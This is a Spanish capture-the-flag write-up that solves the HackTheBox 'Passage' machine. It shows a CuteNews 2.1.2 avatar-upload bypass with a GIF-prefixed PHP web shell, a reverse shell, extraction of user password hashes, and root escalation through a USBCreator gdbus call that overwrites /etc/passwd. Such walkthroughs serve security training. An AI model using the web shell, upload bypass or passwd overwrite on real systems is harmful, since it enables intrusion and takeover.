Maquina Passage - htb writeup

Firtmiracle el
Maquina Passage - htb writeup

El dia de hoy vamos a estar resolviendo la maquina Passage de hackthebox que es una maquina Linux de dificultad Media. Para explotar esta maquina abusaremos una vulnerabilidad de Cute News con la que obtendremos ejecución remota de comandos, despues haremos un analisis de codigo de un repositorio publico en github para descubrir ciertos recursos y finalmente para escalar privilegios como el usuario root nos aprovecharemos de USBCreator

Vamos a comenzar como de costrumbre creando un directorio con el nombre de la maquina:

❯ mkdir Passage
❯ ls
 Passage
❯ which mkt
mkt () {
	mkdir {nmap,content,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap

Enumeración #

Ahora que tenemos nuestros directorios proseguimos con la fase de Enumeración, empezamos mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.206
PING 10.10.10.206 (10.10.10.206) 56(84) bytes of data.
64 bytes from 10.10.10.206: icmp_seq=1 ttl=63 time=210 ms

--- 10.10.10.206 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 210.072/210.072/210.072/0.000 ms

Vemos que la maquina nos responde con un ttl de 63 correspondiente a una maquina linux, ahora procederemoscon el escaneo de puertos con la ayuda de nmap:

Escaneo de Puertos

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.206 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-17 16:25 GMT
Initiating SYN Stealth Scan at 16:25
Scanning 10.10.10.206 [65535 ports]
Discovered open port 22/tcp on 10.10.10.206
Discovered open port 80/tcp on 10.10.10.206
Completed SYN Stealth Scan at 16:25, 16.83s elapsed (65535 total ports)
Nmap scan report for 10.10.10.206
Host is up, received user-set (0.12s latency).
Scanned at 2023-04-17 16:25:13 GMT for 17s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.00 seconds
           Raw packets sent: 82801 (3.643MB) | Rcvd: 82648 (3.306MB)

Despues de realizarse el escaneo vemos que los puertos abiertos corresponden a 22 ssh , 80 http.

Escaneo de Version y Servicios.

❯ nmap -sCV -p22,80 10.10.10.206 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-17 16:27 GMT
Nmap scan report for 10.10.10.206
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Passage News
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.80 seconds

Visulizamos la versión de los puertos escaneados:

Puerto Servicio Versión
22 SSH OpenSSH 7.2p2
80 HTTP Apache httpd 2.4.18

Explotación #

Primeramente ya que nmap nos reporto que el puerto 80 se encuentra abiertos usaremos whatweb para tratar identificar a que nos estamos enfrentando y ver el gestor de contenido web desde consola.

❯ whatweb http://10.10.10.206
http://10.10.10.206 [200 OK] Apache[2.4.18], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], Email[kim@example.com,nadav@passage.htb,paul@passage.htb,sid@example.com], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.206], JQuery, PoweredBy[CuteNews:], Script[text/javascript], Title[Passage News]

Cutenews: CuteNews es un gestor de noticias/sistema de publicación blog, creado por el equipo de desarrolladores de CutePHP

La herramienta nos reporta que se esta usando el gestor de contenido correspondiente a Cutenews, ademas vemos que se puede estar aplicando virtual hosting. Por lo que procederemos a agregar el dominio a nuestro /etc/hosts

❯ echo "10.10.10.206 passage.htb" >> /etc/hosts

Vamos a proceder a abrir el servicio web en el navegador

A primera vista no vemos algo muy relevante asi que probaremos a ver el codigo fuente de la pagina.

Visualizamos que existe una ruta de nombre CuteNews y tenemos capacidad de acceso a la ruta que concretamente se trata de un panel de login.

Encontramos algo muy interesante en el panel de login ya que podemos ver la versión de CuteNews que se esta utilizando.

Verificamos si hay algun exploit publico searchsploit y efectivamente existen vulnerabilidades asociadas a esta versión especifica 2.1.2

❯ searchsploit cutenews 2.1.2
------------------------------------------------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                                         |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)                                                                           | php/remote/46698.rb
CuteNews 2.1.2 - Arbitrary File Deletion                                                                                               | php/webapps/48447.txt
CuteNews 2.1.2 - Authenticated Arbitrary File Upload                                                                                   | php/webapps/48458.txt
CuteNews 2.1.2 - Remote Code Execution                                                                                                 | php/webapps/48800.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results

Tenemos exploits que corresponden a RCE, el primero de ellos nos habla de algo asociado con avatar, podemos investigar de que trata el exploit trayendonoslo a nuestro directorio. Pero primero recordemos que en el panel de login, existia la opción de registrar un nuevo usuario.

Procedamos a registrarnos en el servicio.

Una vez registrados, obervamos en nuestro panel un campo correspondiente a avatar, y si recordamos antes vimos un exploit asociado que justamente nos hablaba de algo de avatar. Quiero pensar entonces que al este campo corrsponder a una subida de archivos, entonces la RCE en el exploit la obtiene de un mal control en la subida de archivos.

Para estar seguros podemos examinar el exploit y ver que que trata.

Efectivamente dentro encontramos una función que lo que hace es realizar una petición en avatar subiendo un arhivo php que incluye una cabecera GIF y de Content-Type image/png: esto para mediante el uso de Magic Numbers hacer un bypass aprovechando la mala sanitización en el campo de subida y este nos detecte el archivo como un GIF.

def upload_shell(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php?mod=main&opt=personal"),
      'cookie'   => cookie
    })

    signkey = res.body.split('__signature_key" value="')[1].split('"')[0]
    signdsi = res.body.split('__signature_dsi" value="')[1].split('"')[0]
    # data preparation
    fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    @shell = "#{fname}"
    pdata = Rex::MIME::Message.new
    pdata.add_part('main', nil, nil, 'form-data; name="mod"')
    pdata.add_part('personal', nil, nil, 'form-data; name="opt"')
    pdata.add_part("#{signkey}", nil, nil, 'form-data; name="__signature_key"')
    pdata.add_part("#{signdsi}", nil, nil, 'form-data; name="__signature_dsi"')
    pdata.add_part('', nil, nil, 'form-data; name="editpassword"')
    pdata.add_part('', nil, nil, 'form-data; name="confirmpassword"')
    pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="editnickname"')
    pdata.add_part("GIF\r\n" + payload.encoded, 'image/png', nil, "form-data; name=\"avatar_file\"; filename=\"#{fname}\"")
    pdata.add_part('', nil, nil, 'form-data; name="more[site]"')
    pdata.add_part('', nil, nil, 'form-data; name="more[about]"')
    data = pdata.to_s

Puedes ver este articulo, para comprender a mayor detalle el uso de Magic Numbers

Como ya sabemos en que consiste la vulnerabilidad, en vez de hacer uso del exploit. Crearemos un archivo php con esas caracteristicas, que nos permita la ejecución de comandos mediante el uso de un parametro definido cmd en conjunto con la función shell_exec. Seguidamente subiremos el archivo.

❯ cat cmd.php
GIF8;

<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

El archivo se sube correctamente y consecuentemente inspeccionamos la ruta en donde se encuentra nuestro archivo.

Vamos a la ruta indicada de nombre uploads y si vemos nuestro archivo subido.

Verificamos que podemos ejecutar comandos y estamos como www-data

Lo que sigue sera mandarnos una reverse shell a nuestra maquina haciendo uso bash y poniendonos en escucha con ncat

Recordatorio no olvidar urlencodear el caracter & a %26 para evitar problemas al procesarse la petición.

Enviamos la petición

y recibimos la conexión como el usuario www-data.

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.206.
Ncat: Connection from 10.10.10.206:43080.
bash: cannot set terminal process group (1683): Inappropriate ioctl for device
bash: no job control in this shell
www-data@passage:/var/www/html/CuteNews/uploads$ whoami
whoami
www-data

Como es de costumbre, vamos a obtener una tty full interactiva con los comandos de siempre.

www-data@passage:/var/www/html/CuteNews/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@passage:/var/www/html/CuteNews/uploads$ ^Z
zsh: suspended  ncat -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  ncat -nlvp 443
                                reset xterm
www-data@passage:/var/www/html/CuteNews/uploads$ export TERM=xterm
www-data@passage:/var/www/html/CuteNews/uploads$ export SHELL=bash
www-data@passage:/var/www/html/CuteNews/uploads$ stty rows 45 columns 174

Cabe recordar que el numero de rows y columns corresponden a las dimensiones de tu pantalla y puedes verificar haciendo uso del comando stty size

Existe un repositorio de CuteNews publico en github:

Aqui nos habla que para agregar comentarios, perfiles o cualquier información, no necesita hacer uso de un gestor de base de datos como mysql. Revisando el repositorio podemos ver que la data lo almacena en un directorio de nombre cdata.

www-data@passage:/var/www/html/CuteNews/cdata$ ls 
Default.tpl	    backup	 category.db.php  confirmations.php  idnews.db.php   news	 postponed_news.txt  template		  users.txt
Headlines.tpl	    btree	 comments.txt	  csrf.php	     installed.mark  news.txt	 replaces.php	     unapproved_news.txt
archives	    cache	 conf.php	  flood.db.php       ipban.db.php    newsid.txt  rss.tpl	     users
auto_archive.db.php  cat.num.php  config.php	  flood.txt	     log	     plugins	 rss_config.php      users.db.php

Dentro de este directorio en el directorio users, almacena los datos de los usuarios registrados en un archivo cuyo nombre se computa al tomar los dos primeros caracteres del usuario en md5 y le agrega la extensión php.

Como yo cree el usuario fmiracle, los primeros caracteres corresponderian a cb

❯ echo -n "fmiracle" | md5sum
cb151a66aabded3ee89f616afab7b6c9

Vemos que si existe un archivo cb.php en el directorio asi que procedemos a leerlo

www-data@passage:/var/www/html/CuteNews/cdata/users$ cat cb.php 
<?php die('Direct call - access denied'); ?>
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo4OiJmbWlyYWNsZSI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNjgxNzUwODAyIjtzOjQ6Im5hbWUiO3M6ODoiZm1pcmFjbGUiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MjE6ImZtaXJhY2xlQGZtaXJhY2xlLmNvbSI7czo0OiJuaWNrIjtzOjg6ImZtaXJhY2xlIjtzOjQ6InBhc3MiO3M6NjQ6IjQ4Yjg0MWJlYTIwNWZkYjJkNjAxNDBhODljOGIzMDA2MThmYWNhMjAwZDI2YmQyY2Q0YmQyYzBmNTk4MTgzODMiO3M6NDoibW9yZSI7czo2MDoiWVRveU9udHpPalE2SW5OcGRHVWlPM002TURvaUlqdHpPalU2SW1GaWIzVjBJanR6T2pBNklpSTdmUT09IjtzOjY6ImF2YXRhciI7czoyMzoiYXZhdGFyX2ZtaXJhY2xlX2NtZC5waHAiO3M6NjoiZS1oaWRlIjtzOjA6IiI7fX19www-d

Ya que el formato esta en base64 usaremos un base64 -d para decodificarla y vemos el hash correspondiente a la contraseña.

www-data@passage:/var/www/html/CuteNews/cdata/users$ echo "YToxOntzOjQ6Im5hbWUiO2E6MTp7czo4OiJmbWlyYWNsZSI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNjgxNzUwODAyIjtzOjQ6Im5hbWUiO3M6ODoiZm1pcmFjbGUi3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MjE6ImZtaXJhY2xlQGZtaXJhY2xlLmNvbSI7czo0OiJuaWNrIjtzOjg6ImZtaXJhY2xlIjtzOjQ6InBhc3MiO3M6NjQ6IjQ4Yjg0MWJlYTIwNWZkYjJkNjAxNDBhODljOGIzMDA2MThmWNhMjAwZDI2YmQyY2Q0YmQyYzBmNTk4MTgzODMiO3M6NDoibW9yZSI7czo2MDoiWVRveU9udHpPalE2SW5OcGRHVWlPM002TURvaUlqdHpPalU2SW1GaWIzVjBJanR6T2pBNklpSTdmUT09IjtzOjY6ImF2YXRhciI7czoyMzoiYXZhdGFyX2ZtXJhY2xlX2NtZC5waHAiO3M6NjoiZS1oaWRlIjtzOjA6IiI7fX19www-data@passage" | base64 -d; echo

a:1:{s:4:"name";a:1:{s:8:"fmiracle";a:9:{s:2:"id";s:10:"1681750802";s:4:"name";s:8:"fmiracle";s:3:"acl";s:1:"4";s:5:"email";s:21:"fmiracle@fmiracle.com";s:4:"nick";s:8:"fmiracle";s:4:"pass";s:64:"48b841bea205fdb2d60140a89c8b300618faca200d26bd2cd4bd2c0f59818383";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:6:"avatar";s:23:"avatar_fmiracle_cmd.php";s:6:"e-hide";s:0:"";}}}
                                          base64: invalid input

Vamos a realizar el mismo proceso para todos los archivos y visualizaremos los hashes correspondientes a los usuarios registrados.

www-data@passage:/var/www/html/CuteNews/cdata/users$ cat * | grep -v "denied" | base64 -d; echo
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}

De los hashes obtenidos procederemos a crackearlos en nuestra web de confianza.

Logramos obtener unas contraseñas en texto claro.

Ahora intentaremos logearnos con algunos de los usuarios del sistema, haciendo uso de las contraseñas que obtuvimos y conseguimos logearnos como el usuario paul. Podemos ir a su directorio de trabajo y visualizar la primera flag user.txt

www-data@passage:/var/www/html/CuteNews/cdata/users$ su paul
Password: 
paul@passage:/var/www/html/CuteNews/cdata/users$ cd /home/paul/
paul@passage:~$ cat user.txt 
9914c80b41f867472dd68c1e54c77609

Escalada de Privilegios #

Enumerando al usuario paul, encontramos que tenemos un directorio oculto .ssh.

paul@passage:~$ ls -la
total 112
drwxr-x--- 16 paul paul 4096 Sep  2  2020 .
drwxr-xr-x  4 root root 4096 Jul 21  2020 ..
----------  1 paul paul    0 Jul 21  2020 .bash_history
-rw-r--r--  1 paul paul  220 Aug 31  2015 .bash_logout
-rw-r--r--  1 paul paul 3770 Jul 21  2020 .bashrc
drwx------ 10 paul paul 4096 Sep  1  2020 .cache
drwx------ 14 paul paul 4096 Aug 24  2020 .config
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Desktop
-rw-r--r--  1 paul paul   25 Aug 24  2020 .dmrc
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Documents
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Downloads
-rw-r--r--  1 paul paul 8980 Apr 20  2016 examples.desktop
drwx------  2 paul paul 4096 Aug 24  2020 .gconf
drwx------  3 paul paul 4096 Sep  2  2020 .gnupg
-rw-------  1 paul paul 1292 Sep  2  2020 .ICEauthority
drwx------  3 paul paul 4096 Aug 24  2020 .local
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Music
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Pictures
-rw-r--r--  1 paul paul  655 May 16  2017 .profile
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Public
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 .ssh
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Templates
-r--------  1 paul paul   33 Apr 17 09:08 user.txt
drwxr-xr-x  2 paul paul 4096 Jul 21  2020 Videos
-rw-------  1 paul paul   52 Sep  2  2020 .Xauthority
-rw-------  1 paul paul 1228 Sep  2  2020 .xsession-errors
-rw-------  1 paul paul 1397 Sep  1  2020 .xsession-errors.old

Dentro del directorio podemos visualizar una clave authorized_keys, que pertenece al usuario nadav

paul@passage:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts
paul@passage:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage

Por principios basicos de claves ssh al tener la clave publica del usuario nadav, puedo conectarme como a la propia maquina sin proporcionar contraseña.

paul@passage:~/.ssh$ ssh nadav@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$ whoami
nadav

Ahora que somos el usuario nadav, listamos los recursos de su directorio personal y tratando de leer los archivos ocultos, vemos el contenido del archivo viminfo, el cual hace bastante mención a un archivo USBCreator.

nadav@passage:~$ cat .viminfo 
# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&AdminIdentities=unix-group:root

# Last Substitute String:
$AdminIdentities=unix-group:sudo

# Command Line History (newest to oldest):
:wq
:%s/AdminIdentities=unix-group:root/AdminIdentities=unix-group:sudo/g

# Search String History (newest to oldest):
? AdminIdentities=unix-group:root

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Input Line History (newest to oldest):

# Registers:

# File marks:
'0  12  7  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
'1  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

# Jumplist (newest first):
-'  12  7  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-'  1  0  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-'  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  1  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  1  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

# History of marks within files (newest to oldest):

> /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
	"	12	7

> /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
	"	2	0
	.	2	0
	+	2	0

Como hace mucha referencia a el archivo USBCreator, vamos a proceder a buscar si exiten vulnerabilidades asociadas y concretamente entramos una relacionada a Privilege Escalataion

Aqui el articulo para mayor detalle:

En resumen la vulnerabilidad aprovecha una cierta capacidad de sobrescritura de los permisos de un archivo usando el comando gdbus, cambiandolos por los del usuario privilegiado root. Podemos aprovecharnos de esta vulnerabilidad de muchas maneras. Concretamente en este caso primero realizaremos una copia del /etc/passwd de la maquina y lo modificaremos agregando una contraseña que vamos a computar con openssl al usuario root. Y una vez tengamos el archivo modificado aprovecharemos de esta vulnerabilidad para sobrescribir el archivo original del /etc/passwd con el nuevo que tenemos, de modo que al haberle cambiado la contraseña a root podamos convertirnos en el con la contraeñas que le indicamos.

Vamos a hacerlo paso a paso para que se entienda:

Primero nos copias el /etc/passwd para evitar problemas de permisos lo haremos en la ruta tmp

nadav@passage:/tmp$ cp /etc/passwd .
nadav@passage:/tmp$ ls
config-err-QHQCht                                                       systemd-private-70af303641bf4fb2935fb9f554b4ff23-fwupd.service-rSKHgW              unity_support_test.0
passwd                                                                  systemd-private-70af303641bf4fb2935fb9f554b4ff23-rtkit-daemon.service-1jCj09       VMwareDnD
systemd-private-70af303641bf4fb2935fb9f554b4ff23-colord.service-h1Z4SP  systemd-private-70af303641bf4fb2935fb9f554b4ff23-systemd-timesyncd.service-zchybP  vmware-root

Una vez tenemos el passwd, vamos a crearnos una contraseña, la cual tiene que estar en formato desk unix. Eso lo hacemos con openssl passwd, el cual nos pedira una contraseña. En este caso le pondre algo simple como la palabra hola, pero se puede poner cualquier cosa.

nadav@passage:/tmp$ openssl passwd
Password: 
Verifying - Password: 
POoz1bD1QhbD.

Seguidamente debemos modifcar el passwd y en root. Para esto reeemplazamos la x por nuestra contraseña.

nadav@passage:/tmp$ cat passwd 
root:POoz1bD1QhbD.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nolog

Despues tal y como nos dice la vulnerabilidad, usamos el comando gdbuss tal cual los parametros mencionados y le indicamos primero nuestro archivo /tmp/passwdy seguido la ruta original donde lo sobreescribiremos /etc/passwd finalmente el parametro true

nadav@passage:/tmp$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/passwd /etc/passwd true
()

Ahora proceremos a leer el archivo /etc/passwd.

nadav@passage:/tmp$ cat /etc/passwd
root:POoz1bD1QhbD.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

Vemos que efectivamente lo modificamos la contraseña del usuario root. Lo que nos queda ahora es migrar al usuario root, dirigirnos a su directorio personal y visualizar la segunda flag root.txt.

nadav@passage:/tmp$ su root
Password: 
root@passage:/tmp# cd /root
root@passage:~# cat root.txt
36b5bcee8e0d7f4be426e8016250dd7f
root@passage:~#

Esto seria todo por esta ocasión 😄

Comments

comments powered by Disqus